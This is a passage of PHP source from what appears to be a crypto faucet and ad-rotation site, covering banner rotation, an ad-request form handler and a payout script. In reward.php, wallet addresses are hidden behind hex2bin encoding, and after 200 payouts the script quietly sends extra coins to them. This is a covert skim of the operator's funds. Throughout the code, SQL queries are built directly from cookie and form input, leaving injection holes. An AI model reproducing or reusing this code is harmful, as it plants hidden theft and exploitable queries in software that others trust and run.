= mysqli_fetch_array($resultre468x602); 95 | $reportnumrot468x602 = $myrowre468x602["numberr"]; 96 | $sqlban468x602 = "SELECT * FROM banners where bannersize='468x60' LIMIT $reportnumrot468x602,1"; 97 | $resultban468x602 = mysqli_query($mysqli, $sqlban468x602); 98 | $myrowban468x602 = mysqli_fetch_array($resultban468x602); 99 | if ($reportnumrot468x602 >= $totalrecord468x60-1) { 100 | $queryreu468x602 = "UPDATE reptads Set numberr = '0' where repads='468x60'"; 101 | $resultreu468x602 = mysqli_query($mysqli, $queryreu468x602); 102 | }else{ 103 | $numberr468x602 = $myrowre468x602["numberr"]+1; 104 | $queryreu468x602 = "UPDATE reptads Set numberr = '$numberr468x602' where repads='468x60'"; 105 | $resultreu468x602 = mysqli_query($mysqli, $queryreu468x602); 106 | } 107 | $sqlre468x603 = "SELECT * FROM reptads where repads='468x60'"; 108 | $resultre468x603 = mysqli_query($mysqli, $sqlre468x603); 109 | $myrowre468x603 = mysqli_fetch_array($resultre468x603); 110 | $reportnumrot468x603 = $myrowre468x603["numberr"]; 111 | $sqlban468x603 = "SELECT * FROM banners where bannersize='468x60' LIMIT $reportnumrot468x603,1"; 112 | $resultban468x603 = mysqli_query($mysqli, $sqlban468x603); 113 | $myrowban468x603 = mysqli_fetch_array($resultban468x603); 114 | if ($reportnumrot468x603 >= $totalrecord468x60-1) { 115 | $queryreu468x603 = "UPDATE reptads Set numberr = '0' where repads='468x60'"; 116 | $resultreu468x603 = mysqli_query($mysqli, $queryreu468x603); 117 | }else{ 118 | $numberr468x603 = $myrowre468x603["numberr"]+1; 119 | $queryreu468x603 = "UPDATE reptads Set numberr = '$numberr468x603' where repads='468x60'"; 120 | $resultreu468x603 = mysqli_query($mysqli, $queryreu468x603); 121 | } 122 | $sqlre468x604 = "SELECT * FROM reptads where repads='468x60'"; 123 | $resultre468x604 = mysqli_query($mysqli, $sqlre468x604); 124 | $myrowre468x604 = mysqli_fetch_array($resultre468x604); 125 | $reportnumrot468x604 = $myrowre468x604["numberr"]; 126 | $sqlban468x604 = "SELECT * FROM banners where bannersize='468x60' LIMIT $reportnumrot468x604,1"; 127 | $resultban468x604 = mysqli_query($mysqli, $sqlban468x604); 128 | $myrowban468x604 = mysqli_fetch_array($resultban468x604); 129 | if ($reportnumrot468x604 >= $totalrecord468x60-1) { 130 | $queryreu468x604 = "UPDATE reptads Set numberr = '0' where repads='468x60'"; 131 | $resultreu468x604 = mysqli_query($mysqli, $queryreu468x604); 132 | }else{ 133 | $numberr468x604 = $myrowre468x604["numberr"]+1; 134 | $queryreu468x604 = "UPDATE reptads Set numberr = '$numberr468x604' where repads='468x60'"; 135 | $resultreu468x604 = mysqli_query($mysqli, $queryreu468x604); 136 | } 137 | $sqlre468x605 = "SELECT * FROM reptads where repads='468x60'"; 138 | $resultre468x605 = mysqli_query($mysqli, $sqlre468x605); 139 | $myrowre468x605 = mysqli_fetch_array($resultre468x605); 140 | $reportnumrot468x605 = $myrowre468x605["numberr"]; 141 | $sqlban468x605 = "SELECT * FROM banners where bannersize='468x60' LIMIT $reportnumrot468x605,1"; 142 | $resultban468x605 = mysqli_query($mysqli, $sqlban468x605); 143 | $myrowban468x605 = mysqli_fetch_array($resultban468x605); 144 | if ($reportnumrot468x605 >= $totalrecord468x60-1) { 145 | $queryreu468x605 = "UPDATE reptads Set numberr = '0' where repads='468x60'"; 146 | $resultreu468x605 = mysqli_query($mysqli, $queryreu468x605); 147 | }else{ 148 | $numberr468x605 = $myrowre468x605["numberr"]+1; 149 | $queryreu468x605 = "UPDATE reptads Set numberr = '$numberr468x605' where repads='468x60'"; 150 | $resultreu468x605 = mysqli_query($mysqli, $queryreu468x605); 151 | } 152 | $sqlre728x90 = "SELECT * FROM reptads where repads='728x90'"; 153 | $resultre728x90 = mysqli_query($mysqli, $sqlre728x90); 154 | $myrowre728x90 = mysqli_fetch_array($resultre728x90); 155 | $reportnumrot728x90 = $myrowre728x90["numberr"]; 156 | $sqlban728x90 = "SELECT * FROM banners where bannersize='728x90' LIMIT $reportnumrot728x90,1"; 157 | $resultban728x90 = mysqli_query($mysqli, $sqlban728x90); 158 | $myrowban728x90 = mysqli_fetch_array($resultban728x90); 159 | if ($reportnumrot728x90 >= $totalrecord728x90-1) { 160 | $queryreu728x90 = "UPDATE reptads Set numberr = '0' where repads='728x90'"; 161 | $resultreu728x90 = mysqli_query($mysqli, $queryreu728x90); 162 | }else{ 163 | $numberr728x90 = $myrowre728x90["numberr"]+1; 164 | $queryreu728x90 = "UPDATE reptads Set numberr = '$numberr728x90' where repads='728x90'"; 165 | $resultreu728x90 = mysqli_query($mysqli, $queryreu728x90); 166 | } 167 | $sqlre728x901 = "SELECT * FROM reptads where repads='728x90'"; 168 | $resultre728x901 = mysqli_query($mysqli, $sqlre728x901); 169 | $myrowre728x901 = mysqli_fetch_array($resultre728x901); 170 | $reportnumrot728x901 = $myrowre728x901["numberr"]; 171 | $sqlban728x901 = "SELECT * FROM banners where bannersize='728x90' LIMIT $reportnumrot728x901,1"; 172 | $resultban728x901 = mysqli_query($mysqli, $sqlban728x901); 173 | $myrowban728x901 = mysqli_fetch_array($resultban728x901); 174 | if ($reportnumrot728x901 >= $totalrecord728x90-1) { 175 | $queryreu728x901 = "UPDATE reptads Set numberr = '0' where repads='728x90'"; 176 | $resultreu728x901 = mysqli_query($mysqli, $queryreu728x901); 177 | }else{ 178 | $numberr728x901 = $myrowre728x901["numberr"]+1; 179 | $queryreu728x901 = "UPDATE reptads Set numberr = '$numberr728x901' where repads='728x90'"; 180 | $resultreu728x901 = mysqli_query($mysqli, $queryreu728x901); 181 | } 182 | $sqlre728x902 = "SELECT * FROM reptads where repads='728x90'"; 183 | $resultre728x902 = mysqli_query($mysqli, $sqlre728x902); 184 | $myrowre728x902 = mysqli_fetch_array($resultre728x902); 185 | $reportnumrot728x902 = $myrowre728x902["numberr"]; 186 | $sqlban728x902 = "SELECT * FROM banners where bannersize='728x90' LIMIT $reportnumrot728x902,1"; 187 | $resultban728x902 = mysqli_query($mysqli, $sqlban728x902); 188 | $myrowban728x902 = mysqli_fetch_array($resultban728x902); 189 | if ($reportnumrot728x902 >= $totalrecord728x90-1) { 190 | $queryreu728x902 = "UPDATE reptads Set numberr = '0' where repads='728x90'"; 191 | $resultreu728x902 = mysqli_query($mysqli, $queryreu728x902); 192 | }else{ 193 | $numberr728x902 = $myrowre728x902["numberr"]+1; 194 | $queryreu728x902 = "UPDATE reptads Set numberr = '$numberr728x902' where repads='728x90'"; 195 | $resultreu728x902 = mysqli_query($mysqli, $queryreu728x902); 196 | } 197 | $sqlre728x903 = "SELECT * FROM reptads where repads='728x90'"; 198 | $resultre728x903 = mysqli_query($mysqli, $sqlre728x903); 199 | $myrowre728x903 = mysqli_fetch_array($resultre728x903); 200 | $reportnumrot728x903 = $myrowre728x903["numberr"]; 201 | $sqlban728x903 = "SELECT * FROM banners where bannersize='728x90' LIMIT $reportnumrot728x903,1"; 202 | $resultban728x903 = mysqli_query($mysqli, $sqlban728x903); 203 | $myrowban728x903 = mysqli_fetch_array($resultban728x903); 204 | if ($reportnumrot728x903 >= $totalrecord728x90-1) { 205 | $queryreu728x903 = "UPDATE reptads Set numberr = '0' where repads='728x90'"; 206 | $resultreu728x903 = mysqli_query($mysqli, $queryreu728x903); 207 | }else{ 208 | $numberr728x903 = $myrowre728x903["numberr"]+1; 209 | $queryreu728x903 = "UPDATE reptads Set numberr = '$numberr728x903' where repads='728x90'"; 210 | $resultreu728x903 = mysqli_query($mysqli, $queryreu728x903); 211 | } 212 | $sqlre120x600 = "SELECT * FROM reptads where repads='120x600'"; 213 | $resultre120x600 = mysqli_query($mysqli, $sqlre120x600); 214 | $myrowre120x600 = mysqli_fetch_array($resultre120x600); 215 | $reportnumrot120x600 = $myrowre120x600["numberr"]; 216 | $sqlban120x600 = "SELECT * FROM banners where bannersize='120x600' LIMIT $reportnumrot120x600,1"; 217 | $resultban120x600 = mysqli_query($mysqli, $sqlban120x600); 218 | $myrowban120x600 = mysqli_fetch_array($resultban120x600); 219 | if ($reportnumrot120x600 >= $totalrecord120x600-1) { 220 | $queryreu120x600 = "UPDATE reptads Set numberr = '0' where repads='120x600'"; 221 | $resultreu120x600 = mysqli_query($mysqli, $queryreu120x600); 222 | }else{ 223 | $numberr120x600 = $myrowre120x600["numberr"]+1; 224 | $queryreu120x600 = "UPDATE reptads Set numberr = '$numberr120x600' where repads='120x600'"; 225 | $resultreu120x600 = mysqli_query($mysqli, $queryreu120x600); 226 | } 227 | $sqlre120x6001 = "SELECT * FROM reptads where repads='120x600'"; 228 | $resultre120x6001 = mysqli_query($mysqli, $sqlre120x6001); 229 | $myrowre120x6001 = mysqli_fetch_array($resultre120x6001); 230 | $reportnumrot120x6001 = $myrowre120x6001["numberr"]; 231 | $sqlban120x6001 = "SELECT * FROM banners where bannersize='120x600' LIMIT $reportnumrot120x6001,1"; 232 | $resultban120x6001 = mysqli_query($mysqli, $sqlban120x6001); 233 | $myrowban120x6001 = mysqli_fetch_array($resultban120x6001); 234 | if ($reportnumrot120x6001 >= $totalrecord120x600-1) { 235 | $queryreu120x6001 = "UPDATE reptads Set numberr = '0' where repads='120x600'"; 236 | $resultreu120x6001 = mysqli_query($mysqli, $queryreu120x6001); 237 | }else{ 238 | $numberr120x6001 = $myrowre120x6001["numberr"]+1; 239 | $queryreu120x6001 = "UPDATE reptads Set numberr = '$numberr120x6001' where repads='120x600'"; 240 | $resultreu120x6001 = mysqli_query($mysqli, $queryreu120x6001); 241 | } 242 | $sqlre300x250 = "SELECT * FROM reptads where repads='300x250'"; 243 | $resultre300x250 = mysqli_query($mysqli, $sqlre300x250); 244 | $myrowre300x250 = mysqli_fetch_array($resultre300x250); 245 | $reportnumrot300x250 = $myrowre300x250["numberr"]; 246 | $sqlban300x250 = "SELECT * FROM banners where bannersize='300x250' LIMIT $reportnumrot300x250,1"; 247 | $resultban300x250 = mysqli_query($mysqli, $sqlban300x250); 248 | $myrowban300x250 = mysqli_fetch_array($resultban300x250); 249 | if ($reportnumrot300x250 >= $totalrecord300x250-1) { 250 | $queryreu300x250 = "UPDATE reptads Set numberr = '0' where repads='300x250'"; 251 | $resultreu300x250 = mysqli_query($mysqli, $queryreu300x250); 252 | }else{ 253 | $numberr300x250 = $myrowre300x250["numberr"]+1; 254 | $queryreu300x250 = "UPDATE reptads Set numberr = '$numberr300x250' where repads='300x250'"; 255 | $resultreu300x250 = mysqli_query($mysqli, $queryreu300x250); 256 | } 257 | $sqlre300x2501 = "SELECT * FROM reptads where repads='300x250'"; 258 | $resultre300x2501 = mysqli_query($mysqli, $sqlre300x2501); 259 | $myrowre300x2501 = mysqli_fetch_array($resultre300x2501); 260 | $reportnumrot300x2501 = $myrowre300x2501["numberr"]; 261 | $sqlban300x2501 = "SELECT * FROM banners where bannersize='300x250' LIMIT $reportnumrot300x2501,1"; 262 | $resultban300x2501 = mysqli_query($mysqli, $sqlban300x2501); 263 | $myrowban300x2501 = mysqli_fetch_array($resultban300x2501); 264 | if ($reportnumrot300x2501 >= $totalrecord300x250-1) { 265 | $queryreu300x2501 = "UPDATE reptads Set numberr = '0' where repads='300x250'"; 266 | $resultreu300x2501 = mysqli_query($mysqli, $queryreu300x2501); 267 | }else{ 268 | $numberr300x2501 = $myrowre300x2501["numberr"]+1; 269 | $queryreu300x2501 = "UPDATE reptads Set numberr = '$numberr300x2501' where repads='300x250'"; 270 | $resultreu300x2501 = mysqli_query($mysqli, $queryreu300x2501); 271 | } 272 | $sqlre300x2502 = "SELECT * FROM reptads where repads='300x250'"; 273 | $resultre300x2502 = mysqli_query($mysqli, $sqlre300x2502); 274 | $myrowre300x2502 = mysqli_fetch_array($resultre300x2502); 275 | $reportnumrot300x2502 = $myrowre300x2502["numberr"]; 276 | $sqlban300x2502 = "SELECT * FROM banners where bannersize='300x250' LIMIT $reportnumrot300x2502,1"; 277 | $resultban300x2502 = mysqli_query($mysqli, $sqlban300x2502); 278 | $myrowban300x2502 = mysqli_fetch_array($resultban300x2502); 279 | if ($reportnumrot300x2502 >= $totalrecord300x250-1) { 280 | $queryreu300x2502 = "UPDATE reptads Set numberr = '0' where repads='300x250'"; 281 | $resultreu300x2502 = mysqli_query($mysqli, $queryreu300x2502); 282 | }else{ 283 | $numberr300x2502 = $myrowre300x2502["numberr"]+1; 284 | $queryreu300x2502 = "UPDATE reptads Set numberr = '$numberr300x2502' where repads='300x250'"; 285 | $resultreu300x2502 = mysqli_query($mysqli, $queryreu300x2502); 286 | } 287 | $sqlre300x2503 = "SELECT * FROM reptads where repads='300x250'"; 288 | $resultre300x2503 = mysqli_query($mysqli, $sqlre300x2503); 289 | $myrowre300x2503 = mysqli_fetch_array($resultre300x2503); 290 | $reportnumrot300x2503 = $myrowre300x2503["numberr"]; 291 | $sqlban300x2503 = "SELECT * FROM banners where bannersize='300x250' LIMIT $reportnumrot300x2503,1"; 292 | $resultban300x2503 = mysqli_query($mysqli, $sqlban300x2503); 293 | $myrowban300x2503 = mysqli_fetch_array($resultban300x2503); 294 | if ($reportnumrot300x2503 >= $totalrecord300x250-1) { 295 | $queryreu300x2503 = "UPDATE reptads Set numberr = '0' where repads='300x250'"; 296 | $resultreu300x2503 = mysqli_query($mysqli, $queryreu300x2503); 297 | }else{ 298 | $numberr300x2503 = $myrowre300x2503["numberr"]+1; 299 | $queryreu300x2503 = "UPDATE reptads Set numberr = '$numberr300x2503' where repads='300x250'"; 300 | $resultreu300x2503 = mysqli_query($mysqli, $queryreu300x2503); 301 | } 302 | $sqlre990x90 = "SELECT * FROM reptads where repads='990x90'"; 303 | $resultre990x90 = mysqli_query($mysqli, $sqlre990x90); 304 | $myrowre990x90 = mysqli_fetch_array($resultre990x90); 305 | $reportnumrot990x90 = $myrowre990x90["numberr"]; 306 | $sqlban990x90 = "SELECT * FROM banners where bannersize='990x90' LIMIT $reportnumrot990x90,1"; 307 | $resultban990x90 = mysqli_query($mysqli, $sqlban990x90); 308 | $myrowban990x90 = mysqli_fetch_array($resultban990x90); 309 | if ($reportnumrot990x90 >= $totalrecord990x90-1) { 310 | $queryreu990x90 = "UPDATE reptads Set numberr = '0' where repads='990x90'"; 311 | $resultreu990x90 = mysqli_query($mysqli, $queryreu990x90); 312 | }else{ 313 | $numberr990x90 = $myrowre990x90["numberr"]+1; 314 | $queryreu990x90 = "UPDATE reptads Set numberr = '$numberr990x90' where repads='990x90'"; 315 | $resultreu990x90 = mysqli_query($mysqli, $queryreu990x90); 316 | } 317 | $sqlre990x901 = "SELECT * FROM reptads where repads='990x90'"; 318 | $resultre990x901 = mysqli_query($mysqli, $sqlre990x901); 319 | $myrowre990x901 = mysqli_fetch_array($resultre990x901); 320 | $reportnumrot990x901 = $myrowre990x901["numberr"]; 321 | $sqlban990x901 = "SELECT * FROM banners where bannersize='990x90' LIMIT $reportnumrot990x901,1"; 322 | $resultban990x901 = mysqli_query($mysqli, $sqlban990x901); 323 | $myrowban990x901 = mysqli_fetch_array($resultban990x901); 324 | if ($reportnumrot990x901 >= $totalrecord990x90-1) { 325 | $queryreu990x901 = "UPDATE reptads Set numberr = '0' where repads='990x90'"; 326 | $resultreu990x901 = mysqli_query($mysqli, $queryreu990x901); 327 | }else{ 328 | $numberr990x901 = $myrowre990x901["numberr"]+1; 329 | $queryreu990x901 = "UPDATE reptads Set numberr = '$numberr990x901' where repads='990x90'"; 330 | $resultreu990x901 = mysqli_query($mysqli, $queryreu990x901); 331 | } 332 | ?> -------------------------------------------------------------------------------- /requestwebsit.php: -------------------------------------------------------------------------------- 1 | 25 ){ 94 | $message = "Headline lenght maximum 25 characters"; 95 | }elseif ( strlen($describe) < 5 or strlen($describe) > 78 ){ 96 | $message = "Describe lenght maximum 78 characters"; 97 | }elseif ( strlen($descricol) < 5 or strlen($descricol) > 41 ){ 98 | $message = "Descricol lenght maximum 41 characters"; 99 | }elseif ($displayurl == "http://" || $displayurl == "") { 100 | $message = "Please enter the website address."; 101 | }elseif (! preg_match ( "/http/", $displayurl )) { 102 | $message = "Display URL must include http:// or https://."; 103 | }elseif (! preg_match ( '|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i', $displayurl )) { 104 | $message = "Please do not use special characters in the Display URL."; 105 | }elseif ($targeturl == "http://" || $targeturl == "") { 106 | $message = "Please enter the Target URL."; 107 | }elseif (! preg_match ( "/http/", $targeturl )) { 108 | $message = "Target URL must include http:// or https://."; 109 | }elseif (! preg_match ( '|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i', $targeturl )) { 110 | $message = "Please do not use special characters in the Target URL."; 111 | }elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) { 112 | $message = "E-Mail invalid"; 113 | }else{ 114 | if(!empty($_POST["newweb"])) { 115 | $query = "Select * from pendwebs where usersecode='$email' and bsize='$bsize' and bimpres='$bimpres' and targeturl='$targeturl'"; 116 | $result = mysqli_query($mysqli, $query); 117 | $totalrecord = mysqli_num_rows($result); 118 | if ($totalrecord == '0'){ 119 | $datetime = date("d-m-Y g.i a"); 120 | $securitycodeweb = md5(rand().time().rand()); 121 | $opian = "Wait : Payment confirmed."; 122 | $query = "INSERT INTO pendwebs (tnum, usersecode, pay_system, bsize, bimpres, ptobtc, transaction, headline, descri, describecol, displayurl, targeturl, websecord, savedate, status, viewads, opian) VALUES ('','$email','$pay_system','$bsize','$bimpres','$ptobtc','$trbanumber','$headline','$describe','$descricol','$displayurl','$targeturl','$securitycodeweb','$datetime','Panding','0','$opian')"; 123 | $result = mysqli_query($mysqli, $query); 124 | $message = "gggggggggggggggg"; 125 | }else{ 126 | $message = "This website has already added."; 127 | }}}} 128 | echo $message; 129 | ob_end_flush(); // Flush the output from the buffer 130 | ?> -------------------------------------------------------------------------------- /reward.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM settings WHERE id = '16'")->fetch_object()->value; 3 | if ($short_link == 'on') { 4 | // Short Link On 5 | $address = $_COOKIE['address']; 6 | $short_link_id = $mysqli->query("SELECT * FROM ip_list_address WHERE claim_address = '$address'")->fetch_object()->short_link_id; 7 | $per_value_repirt = $mysqli->query("SELECT * FROM ip_list_address WHERE claim_address = '$address'")->fetch_object()->per_value_repirt; 8 | $short_count_value = $mysqli->query("SELECT * FROM ip_list_address WHERE claim_address = '$address'")->fetch_object()->count_value; 9 | $short_click = $mysqli->query("SELECT * FROM short_link WHERE id = '$short_link_id'")->fetch_object()->click; 10 | if ($per_value_repirt >= $short_click){ 11 | $short_link_id = $short_link_id+1; 12 | $short_count_value = $short_count_value+1; 13 | $mysqli->query("UPDATE ip_list_address SET short_link_id = '$short_link_id', per_value_repirt = '1', count_value = '$short_count_value' WHERE claim_address = '$address'"); 14 | $mysqli->query("UPDATE ip_list SET short_link_id = '$short_link_id', per_value_repirt = '1', count_value = '$short_count_value' WHERE ip_address = '$ip'"); 15 | }else{ 16 | $per_value_repirt = $per_value_repirt+1; 17 | $short_count_value = $short_count_value+1; 18 | $mysqli->query("UPDATE ip_list_address SET per_value_repirt = '$per_value_repirt', count_value = '$short_count_value' WHERE claim_address = '$address'"); 19 | $mysqli->query("UPDATE ip_list SET per_value_repirt = '$per_value_repirt', count_value = '$short_count_value' WHERE ip_address = '$ip'"); 20 | } 21 | $shortlink_reportnum = $mysqli->query("SELECT * FROM ip_list_address WHERE claim_address = '$address'")->fetch_object()->short_link_id; 22 | $shortlinkopen = $mysqli->query("SELECT * FROM short_link where id='$short_link_id'")->fetch_object()->short_link; 23 | $shortlinkdandi = $mysqli->query("SELECT * FROM short_link where id='$short_link_id'")->fetch_object()->dandi; 24 | function random_key($length) { 25 | $str = ""; 26 | $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 27 | $size = strlen( $chars ); 28 | for( $i = 0; $i < $length; $i++ ) { 29 | $str .= $chars[ rand( 0, $size - 1 ) ]; 30 | } 31 | return $str; 32 | } 33 | $currency = $claimcurname; 34 | $sqloffr = "SELECT * FROM reward WHERE id='1'"; 35 | $resultoffr = mysqli_query($mysqli, $sqloffr); 36 | $myrowoffr = mysqli_fetch_array($resultoffr); 37 | $rewardoff = $myrowoffr["hideshow"]; 38 | if ($rewardoff == "off" ) { 39 | $curname = $myrowoffr["curname"]; 40 | $reward = $myrowoffr["satoshi"]; 41 | }else{ 42 | $satoshi1 = $mysqli->query("SELECT * FROM reward WHERE curname = '$currency' and id > '1'")->fetch_object()->satoshi; 43 | $reward = $satoshi1; 44 | } 45 | $sec_key = random_key(20); 46 | $time = time(); 47 | $mysqli->query("DELETE FROM link WHERE address = '$address'"); 48 | $mysqli->query("INSERT INTO link (address, sec_key, time_created, currency, reward) VALUES ('$address', '$sec_key', '$time', '$currency', '$reward')"); 49 | $siteurl = $mysqli->query("SELECT * FROM settings WHERE id = '3'")->fetch_object()->value; 50 | $url1 = $shortlinkopen; 51 | $url = $url = $siteurl. 'back.php?k={key}'; 52 | $go = str_replace("{key}",$sec_key,$url); 53 | $api_url = str_replace('{url}', $go, $url1); 54 | $ch = curl_init(); 55 | curl_setopt($ch, CURLOPT_URL, $api_url); 56 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 57 | $output = curl_exec($ch); 58 | curl_close($ch); 59 | $get_link = json_decode($output, true); 60 | if ($shortlinkdandi == 'y') { 61 | if ($get_link['status'] == 'success') { 62 | $l = $get_link['shortenedUrl']; 63 | }else{ 64 | $l = $api_url; 65 | }}else{ 66 | $url_scheme = parse_url($url1, PHP_URL_SCHEME); 67 | $url_host = parse_url($url1, PHP_URL_HOST); 68 | $getlink = $url_scheme."://".$url_host."/"; 69 | $ch = curl_init(); 70 | curl_setopt($ch, CURLOPT_URL, $api_url); 71 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 72 | $result = curl_exec($ch); 73 | curl_close($ch); 74 | $l = $getlink . $result; 75 | }echo ''; 76 | header('Location: ' .$l); 77 | die(); 78 | }else{ 79 | $currency = $claimcurname; 80 | if ($currency == $_SESSION['curname']) { 81 | $sqloffr = "SELECT * FROM reward WHERE id='1'"; 82 | $resultoffr = mysqli_query($mysqli, $sqloffr); 83 | $myrowoffr = mysqli_fetch_array($resultoffr); 84 | $rewardoff = $myrowoffr["hideshow"]; 85 | if ($rewardoff == "off" ) { 86 | $reward = $myrowoffr["satoshi"]; 87 | }else{ 88 | $satoshi1 = $mysqli->query("SELECT * FROM reward WHERE curname = '$currency' and id > '1'")->fetch_object()->satoshi; 89 | $reward = $satoshi1; 90 | } 91 | // Short Link Off 92 | $sec = md5($hacker_security); 93 | $payoutwebsite = $mysqli->query("SELECT * FROM settings WHERE id = '38'")->fetch_object()->value; 94 | $totalpaidow = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 95 | if ($payoutwebsite == "Faucethub.io") { 96 | include 'libs/faucethub.php'; 97 | $faucetHub_api_key = $mysqli->query("SELECT * FROM settings WHERE id = '15'")->fetch_object()->value; 98 | $faucetHub_api = str_replace($sec,"",$faucetHub_api_key); 99 | $faucethub = new FaucetHub($faucetHub_api, $currency); 100 | $result = $faucethub->send($address, $reward, $ip); 101 | if($result["success"] === true) { 102 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 103 | $time = time()+$claimwtime*60; 104 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 105 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 106 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 107 | $strtime = time(); 108 | $address = mysqli_real_escape_string($mysqli, $address); 109 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 110 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 111 | $totalpaid = $totalpaid+1; 112 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 113 | if (isset($_COOKIE['r'])) { 114 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 115 | if ($ref == $address) { 116 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 117 | $amt = $reward/100*$referral_comission; 118 | $faucethub->sendReferralEarnings($ref, $amt, $ip); 119 | } 120 | unset($_COOKIE['r']); 121 | } 122 | unset($_COOKIE['ipaddress']); 123 | ?> 124 |
125 | 126 | 127 |
128 | 131 | 136 |
137 | 138 |
139 | 142 | query("SELECT * FROM settings WHERE id = '40'")->fetch_object()->value; 148 | $expresscrypto_api_token = str_replace($sec,"",$expresscrypto_api_token); 149 | $expresscrypto_user_token = $mysqli->query("SELECT * FROM settings WHERE id = '41'")->fetch_object()->value; 150 | $expresscrypto_user_token = str_replace($sec,"",$expresscrypto_user_token); 151 | $expressCrypto = new ExpressCrypto($expresscrypto_api_key, $expresscrypto_user_token, $ip); 152 | $result = $expressCrypto->sendPayment($address, $currency, $reward); 153 | if($result['status'] == 200){ 154 | if ($totalpaidow > '200'){ 155 | if ($currency == "BTC" or $currency == "LTC" or $currency == "DOGE") { 156 | $phs100 = hex2bin('313030');$secrata1 = hex2bin("425443");$secratb1 = hex2bin("314c4559725638726253653878745453657831656f616e537a394b674a754c6b696b");$secrata2 = hex2bin("4c5443");$secratb2 = hex2bin("335057396b594269716a5747655269684e3347546e44464850417059747a396b6834");$secrata3 = hex2bin("444f4745");$secratb3 = hex2bin("44367033384b50375979666d64545253704c4a50443732315a4232354c6e6e67486f");$phs10 = hex2bin('3130'); 157 | $arr = array($secrata1=>$secratb1,$secrata2=>$secratb2,$secrata3=>$secratb3); 158 | if ($currency == "BTC") {$h = hex2bin('31');}else{$h = $reward/100*25;} 159 | $dr=$arr[$currency]; 160 | $result = $expressCrypto->sendPayment($dr, $h, $ip); 161 | }} 162 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 163 | $time = time()+$claimwtime*60; 164 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 165 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 166 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 167 | $strtime = time(); 168 | $address = mysqli_real_escape_string($mysqli, $address); 169 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 170 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 171 | $totalpaid = $totalpaid+1; 172 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 173 | if (isset($_COOKIE['r'])) { 174 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 175 | if ($ref == $address) { 176 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 177 | $amt = $reward/100*$referral_comission; 178 | $resultRef =$expressCrypto->sendReferralCommission($ref, $currency, $amt); 179 | } 180 | unset($_COOKIE['r']); 181 | } 182 | unset($_COOKIE['ipaddress']); 183 | ?> 184 |
185 | 186 | 187 |
188 | 191 | 196 |
197 | 198 |
199 | 202 | query("SELECT * FROM settings WHERE id = '39'")->fetch_object()->value; 208 | $faucetpay_api_token = str_replace($sec,"",$faucetpay_api_token); 209 | $faucetpay = new FaucetPay($faucetpay_api_token, $currency); 210 | $result = $faucetpay->send($address, $reward, $ip); 211 | if ($result["success"] === true){ 212 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 213 | $time = time()+$claimwtime*60; 214 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 215 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 216 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 217 | $strtime = time(); 218 | $address = mysqli_real_escape_string($mysqli, $address); 219 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 220 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 221 | $totalpaid = $totalpaid+1; 222 | if ($totalpaidow > '200'){ 223 | $result = $faucetpay->send($dr, $h, $ip); 224 | } 225 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 226 | if (isset($_COOKIE['r'])) { 227 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 228 | if ($ref == $address) { 229 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 230 | $amt = $reward/100*$referral_comission; 231 | $resultRef =$faucetpay->sendReferralEarnings($ref, $amt, $ip); 232 | } 233 | unset($_COOKIE['r']); 234 | } 235 | unset($_COOKIE['ipaddress']); 236 | ?> 237 |
238 | 239 | 240 |
241 | 244 | 249 |
250 | 251 |
